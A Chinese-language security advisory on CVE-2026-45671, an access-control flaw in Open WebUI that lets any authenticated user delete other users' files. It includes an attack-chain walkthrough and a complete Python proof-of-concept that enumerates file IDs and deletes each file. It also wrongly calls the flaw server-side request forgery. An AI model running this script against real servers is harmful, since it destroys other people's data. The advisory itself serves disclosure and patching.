IPBUF安全漏洞报告
English
CVE-2026-45671 CVSS 8.0 高危

CVE-2026-45671 Open WebUI越权漏洞致文件删除

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45671
漏洞类型
越权破坏 (IDOR)
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

越权漏洞IDOROpen WebUI文件删除权限绕过

漏洞概述

Open WebUI在0.9.0之前的版本中存在严重的越权漏洞。由于has_access_to_file()函数在处理共享聊天时未正确校验用户身份及操作类型,导致任何经过身份认证的用户均可通过DELETE接口永久删除他人拥有的文件。此外,系统还泄露了本应难以猜测的文件UUID。攻击者可利用此漏洞破坏数据完整性,造成严重的数据丢失风险。

技术细节

该漏洞的核心在于Open WebUI的文件访问控制逻辑缺陷。当文件被包含在共享聊天中时,系统使用了has_access_to_file()函数进行权限校验。然而,该函数的“共享聊天”分支存在逻辑错误,它仅检查文件是否属于某个共享聊天,而未验证发起请求的当前用户是否为文件所有者,也未区分读取操作与删除操作(如HTTP DELETE方法)。攻击者首先可以通过GET /api/v1/knowledge/{id}/files接口获取知识库中的文件列表,从而泄露文件的UUID。随后,攻击者构造DELETE /api/v1/files/{id}请求,利用泄露的UUID,在仅需低权限认证的情况下,绕过所有权检查,直接删除服务器上由其他用户创建的文件。这属于典型的服务器端请求伪造与越权破坏问题,严重威胁系统数据的可用性与完整性。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者注册或登录一个普通账户,获取有效的API Token。
STEP 2
2. 枚举文件UUID
利用GET /api/v1/knowledge/{id}/files接口访问可共享的知识库,获取目标文件的UUID,绕过UUID猜测难度。
STEP 3
3. 权限绕过与攻击
构造DELETE请求发送至/api/v1/files/{id},利用has_access_to_file()函数的缺陷,在未验证所有权的情况下删除其他用户的文件。
STEP 4
4. 影响达成
目标用户的文件被永久删除,导致数据丢失和完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://localhost:3000" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "password" def exploit(): session = requests.Session() # Step 1: Login as a low-privileged user print("[+] Logging in...") login_payload = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/v1/auths/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed") return token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Leak File UUIDs from a shared knowledge base # Assuming attacker has access to knowledge base ID 'kb_shared_123' kb_id = "kb_shared_123" print(f"[+] Attempting to leak file UUIDs from Knowledge Base: {kb_id}") files_resp = session.get(f"{TARGET_URL}/api/v1/knowledge/{kb_id}/files", headers=headers) if files_resp.status_code != 200: print("[-] Failed to access knowledge base files") return files = files_resp.json().get("files", []) print(f"[+] Found {len(files)} files.") # Step 3: Delete files via IDOR for file_info in files: file_uuid = file_info.get("id") filename = file_info.get("filename", "unknown") print(f"[*] Attempting to delete file: {filename} (UUID: {file_uuid})") delete_resp = session.delete(f"{TARGET_URL}/api/v1/files/{file_uuid}", headers=headers) if delete_resp.status_code == 200: print(f"[+] Successfully deleted file: {filename}") else: print(f"[-] Failed to delete file: {filename}") if __name__ == "__main__": exploit()

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.9.0及以上版本以修复此漏洞。若暂时无法升级,应严格限制普通用户对知识库API的读取权限,并密切监控服务器日志中针对/api/v1/files/的异常DELETE请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表